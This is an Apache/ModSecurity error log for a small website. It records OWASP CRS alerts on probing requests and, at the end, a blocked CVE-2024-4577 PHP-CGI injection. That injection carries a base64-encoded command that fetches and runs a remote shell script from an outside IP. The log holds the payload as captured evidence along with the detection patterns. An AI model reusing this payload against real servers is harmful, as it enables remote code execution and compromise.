[Fri Jul 17 10:22:42.846282 2026] [security2:error] [pid 2075978:tid 2075978] [client 57.141.18.82:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory42/subsystem/devices/memory6/subsystem/devices/memory22/removable"] [unique_id "alm1GmFjrl6DCT-Pyn8T1AAAAAo"]
[Fri Jul 17 10:22:42.846306 2026] [security2:error] [pid 2075978:tid 2075978] [client 57.141.18.82:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory42/subsystem/devices/memory6/subsystem/devices/memory22/removable"] [unique_id "alm1GmFjrl6DCT-Pyn8T1AAAAAo"]
[Fri Jul 17 10:22:42.962180 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:43.065816 2026] [core:error] [pid 2075691:tid 2075691] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/module/hid_ntrig/drivers/hid:ntrig/bind
[Fri Jul 17 10:22:43.273634 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:43.298980 2026] [security2:error] [pid 2075718:tid 2075718] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/sg_compare_and_write"] [unique_id "alm1G3HGgRvC9MVf3SzHfQAAAAI"]
[Fri Jul 17 10:22:43.299341 2026] [security2:error] [pid 2075718:tid 2075718] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/sg_compare_and_write"] [unique_id "alm1G3HGgRvC9MVf3SzHfQAAAAI"]
[Fri Jul 17 10:22:43.299762 2026] [security2:error] [pid 2075718:tid 2075718] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/sg_compare_and_write"] [unique_id "alm1G3HGgRvC9MVf3SzHfQAAAAI"]
[Fri Jul 17 10:22:43.576267 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:43.678769 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:43.785542 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:44.009815 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:44.115975 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:44.344878 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:44.668541 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:44.769002 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:44.897478 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:44.998033 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:45.106973 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:45.216000 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:45.224518 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:45.319872 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:45.435628 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:45.540219 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:45.647861 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:45.758433 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:45.860192 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:45.963617 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:46.075599 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:46.193269 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:46.298007 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:46.390621 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:46.499228 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:46.607010 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:46.709382 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:46.983085 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:47.182781 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:47.183690 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:47.282538 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:47.502420 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:47.606367 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:47.753650 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:47.887603 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:47.909560 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:48.114260 2026] [ssl:error] [pid 2075711:tid 2075711] (70014)End of file found: [client 66.85.158.91:59778] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:22:48.232488 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:48.332600 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:48.434730 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:48.535529 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:48.742564 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:48.942232 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:49.145915 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:49.249549 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:49.347136 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:49.447908 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:49.549647 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:49.661409 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:49.898747 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:50.010055 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:50.116656 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:50.286327 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:50.389796 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:50.496693 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:50.596246 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:50.806896 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:50.907856 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:51.035575 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/systemd-analyze"] [unique_id "alm1Ix0C3r-GF3RTNAbSswAAAAY"]
[Fri Jul 17 10:22:51.035918 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/systemd-analyze"] [unique_id "alm1Ix0C3r-GF3RTNAbSswAAAAY"]
[Fri Jul 17 10:22:51.036439 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:51.037004 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/systemd-analyze"] [unique_id "alm1Ix0C3r-GF3RTNAbSswAAAAY"]
[Fri Jul 17 10:22:51.141242 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:51.378007 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:51.399113 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:51.452651 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:51.480618 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:51.585659 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:51.707599 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:51.817289 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:51.925822 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:52.027528 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:52.120649 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:52.228265 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:52.334907 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:52.433157 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:52.535410 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:52.633608 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:52.738467 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:52.847350 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:52.950890 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:53.060170 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:53.159202 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:53.259280 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:53.467992 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:53.568736 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:53.570873 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:53.668627 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:53.772774 2026] [core:error] [pid 2076193:tid 2076193] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/243:1/device/driver/bind
[Fri Jul 17 10:22:53.876735 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:53.976378 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:54.085264 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:54.187023 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:54.288657 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:54.396343 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:54.496870 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:54.606164 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:54.707178 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:54.809870 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:54.914506 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:55.223884 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:55.326427 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:55.426935 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:55.635109 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:55.729535 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:55.933805 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/squashfs-tools/ACKNOWLEDGEMENTS"] [unique_id "alm1Jx0C3r-GF3RTNAbSuAAAAAY"]
[Fri Jul 17 10:22:55.933862 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/squashfs-tools/ACKNOWLEDGEMENTS"] [unique_id "alm1Jx0C3r-GF3RTNAbSuAAAAAY"]
[Fri Jul 17 10:22:56.035525 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:56.135081 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:56.235771 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:56.339933 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:56.461341 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:56.541898 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:56.745736 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:56.851374 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:56.955186 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:57.008247 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/hello.world"] [unique_id "alm1KWFDQ6dUmh6WfoaEIAAAAAc"]
[Fri Jul 17 10:22:57.008889 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:<?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjE5NS4xMTMvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTk1LjExMy9zaCkgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ; echo found within ARGS:<?php shell_exec(base64_decode(\\x22KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjE5NS4xMTMvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTk1LjExMy9zaCkgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA: \\x22)); echo(md5(\\x22Hello CVE-2024-4577\\x22)); ?>"] [severity "CRITICAL"] [ver "OW [hostname "66.85.158.91"] [uri "/hello.world"] [unique_id "alm1KWFDQ6dUmh6WfoaEIAAAAAc"]
[Fri Jul 17 10:22:57.009134 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS_NAMES:<?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjE5NS4xMTMvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTk1LjExMy9zaCkgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS_NAMES:<?php shell_exec(base64_decode(\\x22KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjE5NS4xMTMvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTk1LjExMy9zaCkgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA: <?php shell_exec(base64_decode(\\x22khdnzxqgls1uby1jagvjay1jzxj0awzpy2f0zsatcu8tigh0dhbzoi8vmje3ljywlje5ns4xmtmvc2ggfhwgy3vybcatc2sgahr0chm6ly8ymtcunjaumtk1ljexmy9zackgfcbzacatcybjdmvfmjaynf80ntc3lnnlbgzyzxa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "appl [hostname "66.85.158.91"] [uri "/hello.world"] [unique_id "alm1KWFDQ6dUmh6WfoaEIAAAAAc"]
[Fri Jul 17 10:22:57.009224 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "131"] [id "933120"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "66.85.158.91"] [uri "/hello.world"] [unique_id "alm1KWFDQ6dUmh6WfoaEIAAAAAc"]
[Fri Jul 17 10:22:57.009293 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "66.85.158.91"] [uri "/hello.world"] [unique_id "alm1KWFDQ6dUmh6WfoaEIAAAAAc"]
[Fri Jul 17 10:22:57.009400 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Matched phrase "shell_exec" at ARGS_NAMES:<?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjE5NS4xMTMvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTk1LjExMy9zaCkgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: shell_exec found within ARGS_NAMES:<?php shell_exec(base64_decode(\\x22KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjE5NS4xMTMvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTk1LjExMy9zaCkgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA: <?php shell_exec(base64_decode(\\x22khdnzxqgls1uby1jagvjay1jzxj0awzpy2f0zsatcu8tigh0dhbzoi8vmje3ljywlje5ns4xmtmvc2ggfhwgy3vybcatc2sgahr0chm6ly8ymtcunjaumtk1ljexmy9zackgfcbzacatcybjdmvfmjaynf80ntc3lnnlbgzyzxa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag " [hostname "66.85.158.91"] [uri "/hello.world"] [unique_id "alm1KWFDQ6dUmh6WfoaEIAAAAAc"]
